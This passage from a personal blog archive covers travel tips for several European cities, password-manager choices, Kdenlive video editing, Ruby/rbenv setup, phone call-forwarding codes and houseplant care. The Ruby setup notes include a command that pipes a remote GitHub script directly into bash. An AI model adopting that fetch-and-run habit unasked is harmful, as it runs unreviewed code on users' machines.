Poostdamer Platz, the most central point of the city. Make sure to visit the mall of Berlin, there's a 2-story high glide inside.
Caro's music and drinks bar: open 24 hours, smoking permitted inside. Cocktails are quite pricey: I paid 12 euros per Tequila Sunrise.
Maximilians restaurant: a Bavarian-style bar and restaurant. They serve "quick lunch" for 6.95 euros (on weekdays only perhaps).
Memorial to the Murdered Jews of Europe
Brandenburg Gate
Reichstag Building
Siegessäule
Berliner Fernsehturm: 16.50 euros to go to the top. Wait time is usually an hour.
Rotes Rathaus

That's it for now! Until next time...

Interesting links on Germany

Cost of Living Comparison Between Paris and Berlin

Portugal

2018-11-07T23:50:00+01:00

I recently went for the first time of my life to Lisbon, Portugal. We stayed in a Airbnb perfectly located in the heart of Lisbon, very close to Avenida Da Liberdade.

It was a great trip. The weather was decent although we had a rainy day. It averaged between 15 and 20°C, quite warm for early November. It very much reminded me of San Francisco, not only because of the identical bridge but also the hills, cable cars and sunny weather.

All in all, most things can you buy are quite cheap, especially food.

When you get to Lisbon, go to the visitor center and buy a 72-hour Lisboa card. It offers a great deal of discounts + free entrances to some places + unlimited public transporation for free. Let's now move on to the things to do...

Transportation means

I highly recommend you ride a Tuk-Tuk, it's fun and cheap. A few are electrical.

However, if you're more into getting old fashionned, ride the 28E tram. Fun guaranteed! It goes throughout the entire city and allow you to see it in no time.

Finally, the three cable cars are also real fun. The ride is short, it takes some time, but it'll help you climb steep hills. The Ascensor da Glória is a nice one, with all the graffiti in the street and on the car itself.

Places

Cristo Rei

A crazy big Jesus monument, just across the water. We went there by boat, and came back by taxi, just for the fun of driving on the famous red bridge.

Once at the monument, climb to the top and enjoy the view over Lisbon. It almost feels like San Francisco up there.

Belém

A little far from the city center, I suggest you spend a full day there - that's what I did. Three main places to see: Torre de Belém, Padrão dos Descobrimentos (you can go to the top!) and Jerónimos Monastery. One thing, apparently famous, but overcrowded, is Pasteis de Belém. Never managed to get in though, the line was crazy long.

City center

In a random order:

Comércio Plaza
Arco da Rua Augusta: going to the top is fun
Lisbon Cathedral
Santa Justa Lift: 1-hour long line, for a view over Lisbon.
Castelo de S. Jorge: don't expect anything crazy, it's mostly about the view.
Square Pedro IV
Praça da Figueira
Praça dos Restauradores: that's where the Hardrock cafe is
Monument to the Dead of the Great War
Igreja de São Domingos
Carmo Convent: unfortunately I did not get to see inside, because we went there at night
TimeOut Market: one of my favorite places. A large range of food options, from sea food to pastries, pizzas, burgers, etc.
National Pantheon: I did not get in
Church of São Vicente of Fora: I did not get in
Basílica da Estrela
Jardim da Estrela

Parque das Nações

A place quite far from the city center, not as far as Belém though. Many entertaining activities to do there. We rode the telecabine. I wish we had time to go to the observation platform at the top of Torre Vasco da Gama. Also, the Oceanário de Lisboa is supposedly nice.

Different yet interesting on a rainy day is the Centro Vasco da Gama. I bought shoes there. LOL.

Fun facts

Lisbon's only international airport is more of a shopping mall than an actual airport. Once the security checks passed, travellers end up in the middle of dozens of shops, from the luxuary ones to McDonald's and KFC.

That's it! Next time, we'll most likely go to Sintra, as it appears to be a real nice place to see...

Damn World

2018-08-01T23:20:00+02:00

Companies

Monitors and TV screens left idle (on sleep mode, not turned off) all night
Computers still on, either on sleep mode or simply with the current user session locked, sometimes with the screen on, all night
Power supplies plugged all night
Cleaners who clean the bathrooms and empty the trash bins 3 times a day, early in the morning, right after lunch and in the early evening, while once would have been enough (early morning or evening would do).
Use of toxic deodorizers in the bathrooms
Lighting at night
Plastics cups dispensed by coffee machines and water dispensers
Setting to sugar by default on coffee machines; forced to manually select "no sugar"

On the streets

People who throw their cigarette butts on the ground
People waiting in their car, engine on
Gas buses
Non-potable wat used to clean Paris streets. I'm pretty sure it all eventually ends up in the ocean, trash included.
Gas cars (diesel is the worst)
The Economics of the Office: Why Do We Still Commute?
5 Reasons Why Amsterdam Works So Well for Bikes
Air pollution causes ‘huge’ reduction in intelligence, study reveals

At the supermarket

Hunting

Le terrible élevage des animaux «sauvages» destinés à la chasse

In general

Other

How to fight climate change.

On Storing Passwords In A Safe Way

2018-07-31T00:20:00+02:00

It's been a while since I last wrote here... Let's fix this with a new article on an important topic.

Storing passwords

For a very long time I have stored my passwords within Firefox, synced "in the Cloud" through my Firefox account. This solution offers four main advantages:

Passwords are synced accross devices, always at hand
Passwords are conveniently auto-filled as I browse the web
Passwords are encrypted on Mozilla's servers (source)
Passwords are encrypted locally on my computer (source), although a Master Password is required to prevent theft (since the encryption key is stored in plain) by adding another layer of security (source)

While this solution had seemed like a good one for a while, I recently thought I could do better than putting my trust in a company - even though Mozilla is respectable and trustworthy. Eventually, every big company gets hacked and I don't really know how they encrypt my data on their servers.

Moreover, I wanted to be able to safely backup my passwords somewhere (offline, if need be, or elsewhere). My past solution had a flaw: were I to lose my laptop and smartphone (theft, apartment burns dowm, earthquake, whatever), I'd have no way to recover my passwords since I don't know any of them, not even my Firefox password (what good would it be for anyway, since two factor authentication is enabled and my two only trusted devices would be lost).

Side note on this topic: I always randomly type my passwords as I create accounts. I don't use services that generate them for me (like Dashlane or Lastpass to mention a few). I don't trust these programs to store my passwords (we'll see why in a bit). Nonetheless, I always make sure to include capital letters, numbers and special characters, with a length greater than 8.

With this all in mind, I needed to find a solution that could fulfill the following requirements:

Not hosted on someone else's servers
Encrypted at all times
Easily accessible on multiple devices, including Linux and mobile phone(s)
Synced accross my devices
As much user friendly as possible so that I can easily switch to this new solution and change my habits
Backed up offline or in a different location AND easily recoverable in case of loss of my trusted devices
Based on a non proprietary solution - both free and open source ideally - and free of charge
Auto form-filling on a web is a plus (through a web extension for instance)
Two factor auth management is a plus: it could be nice to save 2FA secrets as well
Password generation is optional, I'm fine with random typing on my keyboard every once in a while

Market analysis

1password

Apparently a great tool, I've read a lof of good reviews. Advocated by the famous website Have I Been Pwned. However, since this is proprietary software, it is de facto a no-go for me. Plus it's a paid service.

Keepass

A tool initially made for Windows.

Pros

Encryption out of the box
Free and open source
Available on Linux through a port
There's an Android app
There's a Firefox extension
Auto form filling
Automatic generation of passwords
I can easily save a backup file with all my passwords on my personal cloud
2FA management through a plugin
Database can be protected with 2FA through a plugin

Cons

I must trust the binaries or build them myself after reviewing the sources...

Pass (Linux CLI)

A tool for Linux (CLI) based on GPG. Convenient on a laptop, not very much on a mobile phone. However, I tend to trust a CLI tool more than Keepass. One of the reasons I guess is that it's on the official Linux distributions repos.

In case of phone loss, here is a nice way to restore the code on your phone by generating QR codes from what's stored in pass:

sudo apt install qrencode
find .password-store/ -type f -iname "*.otp.gpg" -printf '%P\n' | sed -n 's|\.gpg||p' | while read f; do pass "$f"; done | while read s; do qrencode -o - "$s" | display; done

Pros

Encryption out of the box with GPG
Automatic generation of passwords
Cross platform: Linux, Android and Firefox plugin at least
I can easily save a backup file with all my passwords on my personal cloud
2FA management (actually Pass can save any arbitraty data, it's essentially made up of encrypted plain text files)
Super easily backupable (zip the directory, that's all) on my personal cloud

Cons

Not very user friendly
I must trust binaries, specifically the Android app and Firefox binary; the Linux script has all my trust though (yes, pass is a script)

Dashlane and Lastpass

Proprietary software: no go.

One cool feature Dashlane offers that is worth mentioning though: setting an emergency contact for your important accounts in case of a critical matter. I wish other tools offered the same feature.

Conclusion

Seems like I'll either go with either Keepass or Pass. I'll update this article as I become familiar with either of them.

Update January 2019: I've been using pass for a few months now and am very satisfied so far.

Another topic: two-factor authentication

For this one, I felt that storing my secrets on my phone (Google Authenticatgor to name it) only sounded a little too much like a Single Point of Failure. Should I ever lose access to my phone for any reason, I'd be locked out of services with two factor authentication enabled. Time had come to find a way to save a backup of these secrets.

To do so, I developed my own solution: gauth2. It is forked from another project (gauth). I improved it and redesigned it a bit. I also added some features.

How does it work? Well, it is a web app that stores in one's browser (in the LocalStorage, to be precise) one's secrets and generate One Time Passwords based on these secrets. The secrets can even be encrypted with a password, to prevent someone with access to the browser from stealing the secrets. It also allows secrets to be exported and imported for more convenience. I am very satisfied with it so far. This, on an encrypted laptop, coupled with Google Authenticator, is a pretty solid combination.

Hope this helps. Cheers!

Online resources

Video Editing on Linux

2018-05-13T17:30:00+02:00

UPDATE SEPTEMBER 2024: this article is obsolete. I now edit with DaVinci Resolve, shoot in 4K and 30 FPS.

When I go on holidays or do sports, I usually film with three different devices:

My smartphone
A GoPro
An Insta360 One X2

Then, I like to make video montages. But because it usually does not happen more than twice a year, I regularly forget how to make a great movie. So this article acts as a reminder for myself. I thought it could be useful to other people too, that's why I put it online.

Overall process

Record in 1080p, at 25FPS, unless you want to go fancy and do 100 FPS (for decent slow-mo) and/or 4k. Why 25 and not 24 or 30? Because 24 is not always 24, sometimes it's actually 23.976, and 30 is sometimes 29.97, depending on the camera you are using. You're never so sure. 30FPS on the GoPro is 29.97, but 30FPS on the Insta360 One X2 gives 30 when exported from the mobile app, 29.97 from the desktop app. While 25 is always 25, on any camera, any software. (update september 2024: I now record in 30fps on all my devices)
Download Kdenlive for the video montage.
Extract regular videos out of 360 videos using the desktop application (Insta360 STUDIO) from Insta360, not the mobile one, as you get better quality. Export with the following settings:
- Disable "Lock Direction"
- When doing slow-motion: disable "Motion blur"
- I find the "Optical Flow stitching" better than "Dynamic Stitching", so I always keep this one on
- "Chromatic Calibration" always on
- 25FPS when exporting (update september 2024: 30FPS)
- 25Mbps when exporting
- HEVC (H265) when exporting
- update september 2024: check Dolby Vision, to export in Rec.2020 HLG, otherwise you'll get Rec.709
Careful, after exporting, the first frame (or first 2 frames) might not match the angle/level of zoom you picked. Remove these frames in Kdenlive when importing, if necessary.
You can overlay GPS data (from a Garmin device for instance) on top of a video to show nice stats such as the speed, the altitude, etc. To do so, refer to this article that I wrote
Using VLC, Tools > Codec information, check the framerate. All videos must have the same frame rate otherwise you might encounter issues in Kdenlive (Kdenlive will usually reencode your input video if the framerate is variable for instance).
When creating a new project in Kdenlive, make sure to use the very same frame rate and frame size as the input videos, so in my case 25FPS and 1080p. Pick BT.709 as the color range, or best BT.2020 if available. FPS, frame size, color range, all of that can be changed later in Project > Project Settings but it is not advised as it will shift clips randomly for example when changing the FPS (I experienced it).
In Kdenlive settings, under Playback, make sure GPU acceleration is disabled, cause it's buggy. Also enable Proxy clips for videos larger than 1000 pixels.

You probably want to import your video clips in a chronological order. Here is how to rename videos to match their creation date:

# Insta360 videos
$ for f in *.mp4; do mv -n "$f" $(echo "$f" | cut -c 5-19).mp4; done
renamed 'VID_20230708_154459_00_001.mp4' -> '20230708_154459.mp4'

# GoPro videos and smartphone photos
$ for f in *.MP4; do mv -n "$f" $(exiftool -T -createdate -d "%Y%m%d_%H%M%S" "$f").MP4; done
renamed 'GX010697.MP4' -> '20230709_091946.MP4'

Remove the audio track from clips after importing them in Kdenlive, where audio does not matter. Or lower the volume by some decibels.
You can "lock" audio or video tracks, when you absolutely do not want to misclick and inadvertently move clips.
When rendering, export in HEVC (smaller file size than H264). In the end, Youtube will re-encode any uploaded video to further cut down its size, and the visual quality will be more or less the same. Exporting in VP9 results in a file slightly bigger than HEVC, with the same quality. AV1 is supposedly the shit, better quality and smaller. Yet, in 2021, Kdenlive shows it but I cannot select it, it's grayed out. So I recommend HEVC, with the second slowest encoder speed (preset=slower), and keep the default quality setting, don't tick "Custom Quality" (keep crf=28). However, if the video is short enough and you can afford the extra rendering time, you should go for the "slowest" preset. It will take longer but the overall quality will be better. Also, if the video is short, you may go for a custom quality. I find 75% (crf=23) very good, without increasing the file size too much. Lastly, use 4 threads but do not use parallel processing, as it is still experimental and not stable enough (in 2024 at least).

Transitions, songs, music sync and beats per minute

I like to sync the audio track with the video, so I try my best to change scenes on the beat. Also, I very often correct the volume of the audio tracks (usually reducing the songs' volume and increasing the original sound from the videos), through the built-in "Volume (keyframable)" effect.

For transitions, I recommend that the new clip starts one or 2 frames before the next music beat, because of the persistence of vision. I read on Reddit that the human eye takes 1/10th of a second to process images, while sound is near instant. 1/10th of a second, with 25FPS, would mean 2 frames.

Here the transition happens 1 frame before the next music beat

Do not forget that Kdenlive does not use milliseconds but instead a number of frames. That should be helpful when resizing clips. Say you have a song at 100 beats per minutes and you want 4-beat clips at 25 fps. Do: 4*60/100 = 2.4. Then, do the math again for .4 to use a scale from 0 to 25 instead of 100: 0.4*25=10 frames. Which gives you clips that last 00:00:02 seconds and 10 frames, Kdenlive-wise.

To find the BPM of a song, use any of the following links:

Beats calculator

Fancy effects in Kdenlive

Fade-in/out

There's a built-in effect for that. Make sure to tick "fade to/from dark".

Split screen

Iris out

Rewind video (VHS style)

Text reveal behind an object

Blend a video with a solid color

Cinematoscope aspect ratio

Old film

Use the "Old film" effect.

How to place a video inside text

That's about it!

Finland

2018-04-26T23:40:00+02:00

Late March this year, I went to Finland for 3 days over the weekend. As a first-timer, I was not expecting so much snow and ice this late in Winter. We had two sunny days, slightly above 0 degrees celsius. The third day was all snowy.

I got to visit Helsinki and Tampere, the two major cities of the country. I found these two cities incredibly empty, in terms of population. The country has only 5.5 million inhabitants. The artichecture is rather different than that we have in France, yet familiar. The cities were pretty small. I wished I could have gone out of cities to explore the countryside. Next time probably.

A few fun facts and pro tips

A weekend was more than enough to spot major differences between Finland... and the rest of the world.

R-kioski is to Finland what 7-eleven is to the USA. In other words, R-kioski stores are everywhere (I even found 2 or 3 stores inside the very same train station in Helsinki, separated from one another by a few meters).

Almost every house with more than one floor has its own wall ladder that reaches the roof. From what I heard it is used to remove snow in Winter.

Also, most houses have two doors and double windows, to protect them from the cold.

A window in Finland

Public announcements are given in English on the train line that connects Tampere and Helsinki. I believe all main train lines have public announcements in English. Also, the train to Tampere is pretty cheap, I paid 18 euros for a one-way ride.

To get to the city center from the airport, ride the I or P train for about half an hour. You'll find the train station undeground, underneath the airport.

I was told that the sea shore and all lakes are completely frozen from December until April every year. Frozen to the point that people do activities on lakes, such as skiing, riding snowmobiles or four wheelers, ice skating, walking their dog, sledding, biking, and even kiteboarding (true story!). I also witnessed a snowplow that was making a road on the ice for bikes to ride.

Not swimming, but walking on a frozen lake

There is a showerhead connected to sinks in every bathroom, apparently used to... better wash one's ass, after wiping it.

A bathroom in a restaurant

Last but not least, we found this very peculiar wall cabinet in our AirBnB room. Extremely useful! Apparently, it's a thing in Finland. Smart people!

A drying cabinet

Oh, and saunas are a major thing there...

Nice places to check out

Helsinki

Recatta
Sibelius Monument
Suomenlinna
Market Square
Senate Square
Helsinki Cathedral
Uspenski Cathedral
SkyWheel
Temppeliaukio Church
Kamppi Chapel
St John's Church (though I did not get to go inside)
Mikael Agricola Church (did not go inside either)
Museum of Contemporary Art Kiasma (did not either)

For sushi lovers, check out "Fuku", close to the train station: amazing buffet!

Tampere

Tampere Orthodox Church
Tampere Cathedral
Näsinneula Observation Tower
Särkänniemi

View from the tower in Tampere

That's it!

Domain Names

2018-03-23T20:00:00+01:00

Short article, kind of a bookmark for myself. I usually buy my domain names from OVH but they're far from being cheap. Today, I was told the following three websites offer much cheaper domain names. What's more, they have a greater choice.

The Netherlands

2018-03-21T23:20:00+01:00

Dear Amsterdam, it's been a long time. Too long, actually. I miss you from the bottom of my heart... ok maybe not that much, but still!

Joke aside, I lived in Amsterdam for 6 months, from 2015 to 2016. Oh boy did I enjoy the city. I was living the good life doing an underpaid internship but who cares, right?! Since then, I went back to the Netherlands a couple of times. This articles sums up what's so cool about this country and the Dutch people, and why it's a must see for every European out there! However, gouda, tulips, clogs, windmills, etc, all of this is meant for tourists (although their windmills are quite awesome and Gouda is one of my favorite cheeses), so I won't talk about these. This article is mostly about my experience in the Netherlands.

Amsterdam

The best city of Europe of course! Well, not to everyone but to me at least. Great music venues, great people, shitty weather but awesome canals, boats, and bridges. Also, they've got good beer and probably the coolest bikes on Earth.

Not everything is great though. Finding an appartment in Amsterdam was a pain in the ass. I ended up renting the creepiest of all kinds when I first got there, a tiny 10 square meter apartment on the last floor, with a broken sink, no stores and a direct access to the roof with no railings whatsover, even though it was a damn 4-story building. Plus the bathroom was on the landing. Fucking GREAT. As you guessed, I did not stay there for long. Shortly after, I found a nice shared house just outside of Amsterdam but easily reachable by metro. Speaking of which, their metro system is really good!

My wonderful first room in Amsterdam.

So big. Great sink.

Alright, what about the people, you may wonder. Well, too many times I've heard that Dutch people no longer lived in Amsterdam and that the streets were filled with stupid tourists and that one could barely hear Dutch in Amsterdam... I've got to say, it's partly true... which means it's partly false. Yeah I agree, too many French tourists only there to smoke weed, too many Brits there on weekends only to get shit-faced. But again, who cares? I like tourists. I like people who travel, no matter their purpose. And I met a shit ton of Dutch people, proud residents of Amsterdam, fully embracing the 21st century and globalization. And it was fucking great!

The Dutch are overall super friendly and their English is probably the best among non native English speakers in the world. SO FUCKING CONVENIENT.

Alright, with no further ado, let's see what places are the best in Amsterdam:

Paradiso: the best nightclub on Earth. Seriously! The place is an actual abandoned church that was turned into a nightclub. Unique experience inside!
Melkweg: another great nightclub.
Dam Square: the central square of Amsterdam
Bier Fabriek
Amsterdam Language Cafe: such a great place to meet people, both locals and expats. I met most of my friends there! The guy behind this concept, Koen, is amazing. Go talk to him!
Red Light District at night
Ride the ferry! It's fun and free and takes you to the upper Amsterdam in no time.
Thee Sisters bar: my favorite bar in the whole city
Hannekes Boom: nice place to chill when the sun is out
Amsterdam Roest: same as above
Coco's Outback
Vondelpark
Rembrandtplein
I Amsterdam sign
Foodhallen
Bloemenmarkt
Check out one of the numerous Wok to Walk restaurants, it's so good!
Don't forget to go on a boat ride. It's definitely worth it! You can also rent one privately, it's not that expensive. I remember using this service.
Also, consider renting a bike or going on a free walking tour (aka "pay a you wish by tip").

That's is basically for Amsterdam. Now, let's see some other cities in Holland.

The Hague

Pretty nice city, on the North Sea coast of the Netherlands. Very pleasant, especially in Summer.

Go check the beach out!
Westduinpark: there's Highland cattle
China Town

Rotterdam

A city which was bombed almost entirely during WW2, then rebuilt. Its architecture is rather surprising and ultra modern, thus worth seeing.

Kijk Kubus (The Cube Houses)
The Markthal (Market Hall): an indoor market with a wide variety of food
Erasmusbrug (Erasmus Bridge)
Willemsbrug
Go for a walk between the Willemsbrug and Kijk Kubus, by the water
Boompjes Promenade (Boompjeskade) up to De Boeg
Euromast: go to the top! Also, the park nearby is quite nice.
Go for a walk on Holland Amerikakade
Fenix Food Factory
Check out the big statue called Santa Claus, alias Kabouter: big surprise there!
Take one of the numerous watertaxis, it's a unique experience! What's more, not too pricey!
They also have boat tours, that take you throughout the gigantic port. Lasts about an hour, maybe two, can't remember. Not to expensive and fun to do. For the one I did, the boarding was right by Erasmus Bridge.

Cube Houses

Delft

Small town yet very nice. My only recommendation is to check out the Nieuwe Kerk, a church, for it is a place of history and the climb to the top is definitely worth the effort. Then, wander around randomly in the streets.

View from the top of Delft's church

Utrecht

Probably the city with the most students of the entire country. I've been there once, as far as I remember. Only thing I remember is the Dom Tower, a very impressive tower with a pathway underneath.

Haarlem

Another small town, very close to Amsterdam. Not much to do there except a few old fashion bars and shops, and a nice Mexican restaurant.

That's it!!! Go to the Netherlands, you won't regret it!

Let's end this article on a Dutch saying that I like a lot: "Op een oude fiets moet je het leren" (I ain't gonna translate it, Google it :-) )

Doei!

Ruby and Ruby on Rails from scratch

2018-03-16T23:50:00+01:00

Today I started learning a new language: Ruby! Coming from a JavaScript world, this article helped me a lot (backed-up here, should it ever vanish from the Internet). In this article, I sum up everything I've learned so far. It's a sort of memo for myself.

Learning resources

Ruby

https://openclassrooms.com/courses/lancez-vous-dans-la-programmation-avec-ruby (French)
http://tryruby.org: awesome interactive tutoral
http://rubykoans.com/: learn by doing TDD (Test-Driven Development): make all tests pass

Rails

Install

Install rbenv. In short, here is how:

sudo apt update && sudo apt install openssl libicu-dev libssl-dev libreadline-dev zlib1g-dev
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
cd ~/.rbenv && src/configure && make -C src
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
~/.rbenv/bin/rbenv init
# Open a new shell
mkdir -p "$(rbenv root)"/plugins
git clone https://github.com/rbenv/ruby-build.git "$(rbenv root)"/plugins/ruby-build
rbenv install 2.5.0
rbenv global 2.5.0

# Check everything is installed and correctly set up
curl -fsSL https://github.com/rbenv/rbenv-installer/raw/master/bin/rbenv-doctor | bash

Then, add must-have stuff:

gem install bundler

# In a fresh new Ruby project folder, create a Gemfile
rbenv local 2.5.0 # Set version 2.5.0 for this project, same as .nvmrc for Node projects
bundle init
bundle install --path vendor --binstubs bin # Set up .bundle config to install packages to the local folder
# Add vendor and .bundle to your .gitignore file

# In a Ruby project folder, install all dependencies
bundle install # or simply `bundle`

Upgrade Ruby version

Update the version in Gemfile and .ruby-version. Then run:

cd $HOME/.rbenv/plugins/ruby-build && git pull && cd -
rbenv install && rbenv rehash
gem install bundler
bundle
rbenv global "$(cat .ruby-version)"

Stuff to know

; is optional
parentheses optional in if statements
== vs ===: https://stackoverflow.com/questions/4467538/what-does-the-operator-do-in-ruby
puts (adds new line) vs print (no new line)
.each do |item| ... end
10.times do |i| ... end
if, elsif, else, end
array = [1,2]
array[0]
When you place a colon in front of a simple word, you get a Ruby symbol: :a
hash = {a:1,b:2} # creates symbols :a and :b
hash[:a]
hash['ok'] = 'yolo' # ok is not a symbol
return statement optional, last line is implicitely returned
func(a,b) == func a, b
obj.func == obj.func()
def initialize ... end
@classMemberVariable
def func == def func()
return true if .... == if ...<line break>return true<line break>end
Inheritance: class Child < Mother
Replace first occurrence in string: string['word'] = 'new word'
ratings = Hash.new(0): all new hashes will default to 0 as their value
do..end vs curly braces for blocks in Ruby: https://stackoverflow.com/questions/5587264/do-end-vs-curly-braces-for-blocks-in-ruby
pry: pauses execution but does not give access to local variables
binding.pry: pauses execution, gives access to local variables but also pauses all threads (server and tests for instance)
whereami == @ (in binding.pry / pry)
help (get help in binding.pry /pry)
PRY_RESCUE_RAIL=1 rails test: runs a test and pauses on falsy assertions

Ranges

x..y (y included) vs x...y (y not included)

Tests

assert_equal x,y
assert_match(/regex/, x)

Resources

Ireland

2018-03-02T23:50:00+01:00

In 2015, I landed in Dublin! Yay! With a friend, we were en route to Galway to visit another friend who was doing a sort of internship there. Roughly, we spent a week in Ireland: from Dublin to Galway and back, we also went to some exotic places such as the Cliffs of Moher or Connemara.

In this article, I'll walk you through the most iconic places I've been to so that you get the most out of YOUR trip.

Dublin

You definitely don't want to miss the Temple Bar district and its iconic pub The Oliver St John Gogarty
The Barnacles Hostel Dublin on Temple Ln Street is one of the cheapeast you can find in the area, although we did not get to sleep there for it was fully booked
Trinity College campus is fun for hanging out during the Summer days
Stephen's Green Shopping Centre
Shopping streets: Grafton street and Henry streets
Also don't forget to check out the churches and cathedrals

Galway

A beautiful small city on the West coast!

We stayed at the Celtic Tourist Hostel. Highly recommended for their very affordable prices.
William St and Shop St
Naming all the pubs I went into would take ages, my recommendation is to check them all in those two above-mentionned streets
The Galway Cathedral
I also highly suggest you simply wander in the streets, near the Eglinton canal
The Long Walk and the Galway City Museum
The shore and the causeway to Mutton Island

I am also pretty sure we spent a night at the Barnacles hostel (it's a chain, there's another one in Dublin as I wrote above).

Other places I've been to

Connemara: do a bus tour!
Kylemore Abbey & Victorian Walled Garden (in Connemara)
Aillwee Cave: after the visit, do climb up the hill, it's fun
Cliffs of Moher
The Burren

As far as I remember, we took a 2-day bus tour that took us to both Connemara (we stopped for a couple of hours at Kylemore Abbey) and Cliffs of Moher (+ the Burren and Aillwee Cave). It's definitely worth your money!

Other places to go I wish I visited

Cork
Apparently the Guinness Storehouse in Dublin is great
Aran Islands

Belgium

2018-03-02T23:00:00+01:00

In late 2015 I went for the first time of my life to Belgium... for a very short time, 24 hours actually. The only city I got to see and walk in was Brussels.

I'll likely update this article in the future when I get the chance to go back to Belgium.

When I went there, it was shortly after the November 2015 Paris attacks. The police was actively looking for terrorists in Brussels, troops were deployed and basically nobody was out there in the streets. The atmosphere was somehow surreal and very strange. I stayed the night in Brussels and left the city the following morning so my experience is very limited. Yet, here is my advice, for what it's worth.

Brussels

Go check the Hard Rock cafe out, it's one of the best I've seen in my life. Great stuff inside.
The Delirium Cafe is a must see, along with the Manneken Pis (the peeing kid statue), which is right by its side.
The Grand Place is stunning, either at night or during the day. Old buildings surrounding an imposing square.

The Happy Life

2018-01-26T20:30:00+01:00

Scary Future

2018-01-24T20:50:00+01:00

Resources warning us about what to expect from the future.

I can’t believe what I’m seeing! While running a facial recognition pilot, one man (understandably imho) covered himself up. The police forced him to show his face (& then fined him for disorderly conduct). This is dangerous & terrifying. pic.twitter.com/QdG2VPGyfE
— Jamie Bartlett (@JamieJBartlett) May 15, 2019

Remote Working

2018-01-22T22:20:00+01:00

I truly believe remote working has numerous advantages on the long term, but also downsizes. It is a matter of finding the right balance and making tradeoffs. Giving up on commuting is awesome, getting to see your family more as well. But pressure, stress and bad working conditions are things to consider... Here are a few resources on the topic:

Hiring Interviews

2018-01-03T22:50:00+01:00

Every once in a while, people quit companies and start looking for others. They have to go through hiring processes all over again. This is usually time-consuming and not necessarily easy or pleasant.

One of the things that I personally fear the most is forgetting to ask important questions during an interview. Some of them can even be game changers. So here is a list of all the useful ones one might want to ask:

General questions

How many employees? Are they full time/part time workers? Freelancers?
Are standing desks promoted? Will I be able to get one?
Open offices or closed offices? Can I switch from one environment to another one easily?
Remote working allowed? Is it conditional? How often?
Workstations: PC or Mac? Can I choose? Can I choose the brand and model? OS? Can I choose my OS? IDE most used? Can I choose my IDE?
Do they do code reviews? How often? What is the process? How do they get code merged?
Agile methodology?
How many hours a week?
Do they track their time? Ticket-based tracking? Jira? Redmine?
Visual regression testing? Browserstack.com? Unit/functional/integration testing? What tools?
Languages? Frameworks? Libraries?
Can we dress as we please? (shorts in Summer?)

Specific questions for French companies

Épargne salariale ? Prime d'intéressement ou de participation ?
Mutuelle d'entreprise ? Prix ?
Y a-t-il un comité d'entreprise ?

Disabling Voicemail

2018-01-03T22:00:00+01:00

In many scenarios, calls are forwarded to your voicemail. You may want to disable it, or re-enable it.

1. You are not picking up the phone (no reply)

Enable forwarding: call **61*(number to forward to)**(seconds to wait before forwarding)# - note that your phone will ring as long as your caller is on hold
Disable it and retain: call #61#
Disable it and forget: call ##61#
Reestablish: *61#
Check status: call *#61#

2. You are unreachable (plane mode, phone turned off, no connectivity)

Enable forwarding: call **62*(number to forward to)#
Disable it and retain: call #62#
Disable it and forget: call ##62#
Reestablish: *62#
Check status: call *#62#

3. You are already on the phone (busy)

Enable forwarding: call **67*(number to forward to)#
Disable it and retain: call #67#
Disable it and forget: call ##67#
Reestablish: *67#
Check status: *#67#

4. All three conditions above

Enable forwarding: call **004*(number to forward to)#
Disable it and retain: call #004#
Disable it and forget: call ##004#
Reestablish: *004#
Check status: *#004#

5. You are free, forward all incoming calls

Enable forwarding: call **21*(number to forward to)#
Disable it and retain: call #21#
Disable it and forget: call ##21#
Reestablish: *21#
Check status: *#21#

6. All four conditions above

Enable forwarding: call **002*(number to forward to)#
Disable it and retain: call #002#
Disable it and forget: call ##002#
Reestablish: *002#
Check status: *#002#

7. Call waiting: make your phone ring for new incoming phones even if you are alreay on the phone

Enable call waiting: call *43#
Disable it: call #43#
Check status: *#43#

Complementary information

In France, for mobile network provider 'Free mobile', the voicemail phone number is: 06 95 60 00 11.

More GSM codes here and here.

Tips

To call someone anonymously, type: #31#(the number you are calling). To show your identity, type: *31#(the number you are calling).

Open Offices

2017-11-04T13:40:00+01:00

I might talk about it some day... meanwhile here are a few links.

Slack

2017-11-04T13:40:00+01:00

Draft article

Raw thoughts

The online presence indicator is a nightmare
Same goes for notifications
Why we’re betting against real-time team messaging
Slack, I’m Breaking Up with You
Curing Our Slack Addiction
Why “deep work” is becoming a competitive advantage for companies
Les nouveaux outils de Slack : un espion au service des patrons ?
Is group chat making you sweat?

A Sedentary Life

2017-10-04T23:40:00+02:00

I might talk about it some day... meanwhile here are a few links.

Living In Paris: Air Purifying Houseplants

2017-09-28T12:50:00+02:00

Recently, I moved into my new apartment, in one of the most polluted cities on Earth, Paris. Therefore I decided I needed houseplants to clean the air. What an idea! Is it bullshit? Does it actually work? Who cares?! As long as it makes my apartment look cool!

Consequently, I started googling about evergreen houseplants that clean the air. I ended up buying the following plants:

Spathiphyllum: the best at improving indoor air quality!
Aglaonema Silver Bay: the plant from the movie Leon: The Professional.
Dracaena Marginata
Dieffenbachia
Chlorophytum (comosum? no sure about its species)

Aglaonema

Aglaonema Silver Bay, the big one on the left.

Temperature

Between 15°C and 25°C. Cannot tolerate below 13.

Light

300 lux, half shadow, must get sun light a few hours per day (no direct sunlignt though).

Watering

Soil should be kept moist at all times. Don't allow it to dry otherwise it can cause leaves to drop. In summer, water twice a week. In winter, once. Don't leave standing water in the saucer.

Repotting

Repotting is from March to May, every 2 to 3 years. For an old Aglaonema, just replace the upper layer of the soil, do not repot.

Complementary information

Leaves and fruits are toxic for humans and pets.

Dracaena Marginata

Temperature

Between 15°C and 22°C. Avoid below 15 (won't grow otherwise). Below 10 could damage it. Best between 20 and 22.

Light

500 lux, quite a log of light. Avoid too much direct sun light. It does not like absence of light.

Watering

Soil must remain hardly moist. Once a week in Summer, twice a month in Winter. Mist the leaves twice a week also, if possible.

Repotting

Repotting is from March to May, every 2 to 3 years. Every other year, replace the upper layer of the soil, do not repot.

Spathiphyllum

From left to right: Dracaena Marginata, Dieffenbachia, Spathiphyllum and Anthurium

Temperature

Between 15°C and 25°C. Below 10 could damage it seriously. Best between 20 and 22.

Light

A significant amount (300 lux at least) but no direct sun though. Dim light is OK.

Watering

Once a week, a lot. Don't leave standing water! Reduce the amount of water in winter.

Repotting

In March, every two to three years. When not repotting, replace the upper layer of the soil.

Complementary information

Avoid dry air as well as fresh air flows. Keep it away from heaters.

To foster blossoming, deprive the plant of water for a few days.

Chlorophytum

Temperature

10 to 20°C. Don't go below 5.

Light

A lot! 600 lux at least. No direct sun light.

Watering

